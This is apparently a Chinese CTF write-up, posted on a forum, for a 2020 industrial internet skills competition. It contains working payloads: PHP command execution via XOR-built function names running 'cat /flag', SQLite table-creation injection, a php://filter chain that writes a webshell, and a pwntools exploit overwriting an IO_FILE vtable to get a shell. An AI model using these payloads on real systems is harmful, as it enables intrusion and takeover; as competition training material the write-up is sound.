搜索

[18939] 2020-10-24_全国工业互联网技能大赛wp

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-10-24_全国工业互联网技能大赛wp 全 国 工 业 互 联 网 技 能 大 赛 w p 原 创   R H a c k e r   I D L a b   2 0 2 0 - 1 0 - 2 4 签 到 查 看 源 代 码 ， 访 问   g a m e . j s 搜 索 f l a g 即 可 获 取 f l a g S i m p l e C a l c u l a t o r 本 以 为 是 模 板 注 入 ， 但 发 现 过 滤 了 一 些 函 数 就 大 体 知 道 应 该 是 命 令 执 行 了 。 以 前 做 过 类 似 的 题 目 ， 一 般 都 是 直 接 通 过 异 或 构 造 木 马 执 行 命 令 但 这 种 题 目 一 般 都 会 给 出 源 码 ， 但 扫 了 几 次 无 果 ， 就 利 用 了 以 前 收 藏 的 e x p 准 备 试 一 试 所 以 直 接 构 造 同 一 e x p 就 行 了 然 后 发 现 执 行 成 功 ， 这 里 直 接 读 取 到 f l a g s e a r c h = $ c o s = ( i s _ n a n ^ ( 6 ) . ( 4 ) ) . ( t a n ^ ( 1 ) . ( 5 ) ) ; $ c o s = $ $ c o s ; $ c o s { 0 } ( $ c o s { 1 } ) & 0 = s y s t e m & 1 = l s s e a r c h = $ c o s = ( i s _ n a n ^ ( 6 ) . ( 4 ) ) . ( t a n ^ ( 1 ) . ( 5 ) ) ; $ c o s = $ $ c o s ; $ c o s { 0 } ( $ c o s { 1 } ) & 0 = s y s t e m & 1 = c a t % 2 0 / f l a g
S Q L M a n a g e r 一 个 可 以 创 建 表 的 页 面 ， 抓 包 发 现 t a b l e _ n a m e ， 和 c o l u m n s _ n a m e ,   同 样 再 一 次 比 赛 中 做 过 类 似 的 题 目 ， 记 得 是 s q l i t e 数 据 库 ， 每 个 s q l i t e 都 有 一 个 自 动 创 建 的 库 s q l i t e _ m a s t e r ， 里 面 保 存 了 所 有 表 名 以 及 创 建 表 时 的 c r e a t e 语 句 。 我 们 可 以 从 中 获 取 到 f l a g 的 表 名 和 字 段 名 。 然 后 在 创 建 表 的 时 候 可 以 用 a s 来 复 制 另 一 个 表 中 的 数 据 。 所 以 可 以 用 a s   s e l e c t   s q l   f r o m   s q l i t e _ m a s t e r 来 复 制 s q l i t e _ m a s t e r 的 s q l 字 段 。 构 造 p a y l o a d ： t a b l e _ n a m e = i d l a b   a s   s e l e c t   s q l   a s [ & c o l u m n s [ 0 ] [ n a m e ] = ] f r o m   s q l i t e _ m a s t e r ; & c o l u m n s [ 0 ] [ t y p e ] = I N T E G E R
果 然 获 取 到 表 和 列 ， 然 后 直 接 构 造 获 取 f l a g e a s y p h p 访 问 u r l ， 就 看 到 p a g e 参 数 ， 发 现 存 在 文 件 包 含 t a b l e _ n a m e = i d l a b   a s   s e l e c t   f l a g _ T h E _ C 0 l u m n   a s [ & c o l u m n s [ 0 ] [ n a m e ] = ] f r o m   f l a g _ Y 0 U _ c 4 n t _ G U E S S ; & c o l u m n s [ 0 ] [ t y p e ] = I N T E G E R
尝 试 下 访 问 根 目 录 r e a d f l a g ， 发 现 是 个 e l f 的 程 序 ， 就 知 道 这 题 肯 定 得 要 拿 s h e l l 了 。 利 用 f i l t e r 协 议 查 看 源 代 码 简 单 代 码 审 计 一 波 ， 可 以 直 接 通 过 f i l e _ p u t _ c o n t e n t s 函 数 生 成 文 件 ， 但 是 有 个 < ? p h p   e x i t ( ) ;   所 以 创 建 木 马 也 没 用 ， 所 以 需 要 绕 过 他 ， 可 以 通 过 f i l t e r 过 滤 器 来 进 行 过 滤 ， 通 过 代 码 查 看 发 现 s t r i p _ t a g s 没 有 过 滤 直 接 贴 e x p u r l 编 码 原 理 ： 闭 合 原 来 的 P H P 标 签 。 经 过 t a r g s 就 会 删 掉 e x i t 。 然 后 再 经 过 z l i b 解 压 。 得 到 一 句 话 执 行 执 行 就 o k p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = / v a r / w w w / h t m l / i n d e x . p h p p h p : / / f i l t e r / w r i t e = s t r i n g . s t r i p _ t a g s | z l i b . i n f l a t e | % 3 F % 3 E % b 3 % b 1 % 2 f % c 8 % 2 8 % 5 0 % 2 8 % a e % 2 c % 2 e % 4 9 % c d % d 5 % 5 0 % 8 9 % 7 7 % 7 7 % 0 d % 8 9 % 8 e % 8 f % d 5 % b 4 % b 6 % b 7 % 0 3 % 3 C % 3 F / r e s o u r c e = i d l a b . p h p
机 密 的 图 纸 图 片 1 高 度 被 缩 小 ， 调 大 以 后 可 以 看 到 Y 0 0 4 的 输 出 逻 辑 另 一 个 图 片 后 有 文 字 ‚ L D   T 3 . O U T   T 4   K 4 0 . L D   T 4 . O U T   T 5   K 1 5 0 . L D   T 5 . O U T   T 6   K 6 0 . E N D ， 也 是 描 述 了 T 4 - T 6 的 梯 形 图 根 据 图 片 的 逻 辑 ， 推 导 出 T 0 - T 6 的 逻 辑 ： 再 根 据 T 0 - T 6 的 逻 辑 计 算 出 Y 0 - Y 6 的 时 序 如 下 ： 再 合 并 字 符 串 以 后 ， 删 除 换 行 转 m d 5 即 得 到 f l a g l o g g e r
在 我 们 输 入 的 长 度 被 存 储 在 了 r 8 寄 存 器 ， 而 r 9 就 是 对 应 的 输 入 的 i d x ， 通 过 构 造 r 8 , r 9 我 们 可 以 实 现 任 意 写 ， 我 们 可 以 修 改 I O _ F I L E 结 构 体 的 指 针 ， 并 且 程 序 在 调 用 v p r i n t f 等 函 数 的 时 候 会 调 用 I O 相 关 指 针 ， 伪 造 一 个 I O _ F I L E _ p l u s 结 构 体 的 v t a b l e 指 针 ， 里 面 的 函 数 指 针 我 们 给 它 修 改 成 o n e _ g a d g e t ， 拿 到 s h e l l ， 拿 下 f l a g # ! / u s r / b i n / e n v   p y t h o n #   c o d i n g = u t f - 8 f r o m   p w n _ d e b u g   i m p o r t   * c o n t e x t . l o g _ l e v e l   =   " d e b u g " p d b g   =   p w n _ d e b u g ( " . / l o g g e r " ) d e b u g   =   3 # p d b g . c o n t e x t . t e r m i n a l = [ ' t m u x ' ,   ' s p l i t w ' ,   ' - h ' ] p d b g . l o c a l ( )   p d b g . d e b u g ( " 2 . 2 3 " )     # 2 . 2 3   . . .   2 . 2 9 p d b g . r e m o t e ( " 3 9 . 1 0 5 . 3 5 . 1 9 5 " , 1 5 3 3 3 )   # I P , P O R T i f   d e b u g   = =   1 :         r   =   p d b g . r u n ( " d e b u g " ) e l i f   d e b u g   = =   2 :         r   =   p d b g . r u n ( " l o c a l " ) e l s e :         r   =   p d b g . r u n ( " r e m o t e " ) d e f   d e b u g ( a d d r ) :         p d b g . b p ( [ a d d r ] ) d e f   g e t _ b a s e ( r ) :     t e x t _ b a s e   =   r . l i b s ( ) [ r . _ c w d + r . a r g v [ 0 ] . s t r i p ( ' . ' ) ]     f o r   k e y   i n   r . l i b s ( ) :         i f   " l i b c . s o . 6 "   i n   k e y :             r e t u r n   t e x t _ b a s e , r . l i b s ( ) [ k e y ] d e f   c o n f i r m ( a d d r e s s ) :     n   =   g l o b a l s ( )     f o r   k e y , v a l u e   i n   n . i t e m s ( ) :         i f   v a l u e   = =   a d d r e s s :             r e t u r n   s u c c e s s ( k e y + "   = = >   " + h e x ( a d d r e s s ) )         e l f   =   p d b g . e l f
e l f   =   p d b g . e l f l i b c   =   p d b g . l i b c d e f   c h o i c e ( i d x ) :         r . s e n d l i n e a f t e r ( " 4 .   E x i t n " , s t r ( i d x ) ) d e f   w a r n i n g ( c o n t e n t ) :         c h o i c e ( 1 )         r . s e n d a f t e r ( " t e n t : n " , c o n t e n t ) d e f   w a r n _ o n e ( c o n t e n t , i d x ) :         c h o i c e ( 2 )         r . s e n d a f t e r ( " t e n t : n " , c o n t e n t   *   " a "   + " x 0 0 " )         r . s e n d l i n e a f t e r ( " I D : n " , s t r ( i d x ) ) d e f   e r r o r ( c o n t e n t ) :         c h o i c e ( 3 )         r . s e n d a f t e r ( " t e n t : n " , c o n t e n t ) d e f   w a r n _ 8 ( i d x , c o n t e n t ) :         f o r   i   i n   r a n g e ( l e n ( c o n t e n t ) ) :                 w a r n _ o n e ( c o n t e n t [ i ] , i d x + i ) p a y l o a d   =   " a "   *   0 x 3 8 w a r n i n g ( p a y l o a d ) r . r e c v u n t i l ( " a " * 0 x 3 8 ) l i b c b a s e   =   u 6 4 ( r . r e c v u n t i l ( " x 7 f " ) . l j u s t ( 8 , " x 0 0 " ) )   -   0 x 3 a 2 a 9 c o n f i r m ( l i b c b a s e ) w a r n _ 8 ( 0 x 0 , [ 0 x 8 7 , 0 x 2 8 , 0 x a d , 0 x f b ] ) w a r n _ 8 ( 0 x 8 , [ 0 x b 0 , 0 x 0 c , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 1 0 , [ 0 x b 0 , 0 x 0 c , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 1 8 , [ 0 x b 0 , 0 x 0 c , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 2 0 , [ 0 x b 0 , 0 x 0 c , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 2 8 , [ 0 x b 0 , 0 x 0 c , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 3 0 , [ 0 x b 0 , 0 x 0 c , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 3 8 , [ 0 x b 0 , 0 x 0 c , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 4 0 , [ 0 x b 1 , 0 x 0 c , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 7 0 , [ 0 x 0 1 , 0 x 0 0 , 0 x 0 0 ] ) w a r n _ 8 ( 0 x 8 8 , [ 0 x B 0 , 0 x 0 D , 0 x 6 8 ] ) w a r n _ 8 ( 0 x d 8 , [ 0 x b 0 , 0 x 0 7 , 0 x 6 8 ] ) w a r n _ 8 ( 0 x 1 0 0 0 , [ 0 x 0 ] ) w a r n _ 8 ( 0 x 1 0 0 8 , [ 0 x 0 ] ) w a r n _ 8 ( 0 x 1 0 1 0 , [ 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 ] ) w a r n _ 8 ( 0 x 1 0 1 8 , [ 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 ] ) w a r n _ 8 ( 0 x 1 0 2 0 , [ 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 ] ) w a r n _ 8 ( 0 x 1 0 2 8 , [ 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 ] ) w a r n _ 8 ( 0 x 1 0 3 0 , [ 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 , 0 x 1 1 ] ) o n e _ g a d g e t   =   h e x ( l i b c b a s e   +   0 x 4 5 2 7 a ) [ 2 : ] r e s u l t   =   [ o n e _ g a d g e t [ 2 * i : 2 * i + 2 ]   f o r   i   i n   r a n g e ( i n t ( l e n ( o n e _ g a d g e t ) / 2 ) ) ] w a r n _ 8 ( 0 x 1 0 3 8 , [ e v a l ( ' 0 x ' + r e s u l t [ 5 ] ) , e v a l ( ' 0 x ' + r e s u l t [ 4 ] ) , e v a l ( ' 0 x ' + r e s u l t [ 3 ] ) , e v a l ( ' 0 x ' + r e s u l t [ 2 ] ) , e v a l ( ' 0 x ' + r e s u l t [ 1 ] ) , e v a l ( ' 0 x ' + r e s u l t [ 0 ] ) , 0 , 0 ] ) w a r n _ 8 ( - 1 6 , [ 0 x b 0 , 0 x f 7 , 0 x 6 7 , 0 x 0 0 , 0 x 0 0 , 0 x 0 0 , 0 x 0 0 , 0 x 0 0 ] ) c h o i c e ( 4 ) r . s e n d l i n e ( ' c a t   f l a g ' ) r . i n t e r a c t i v e ( )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理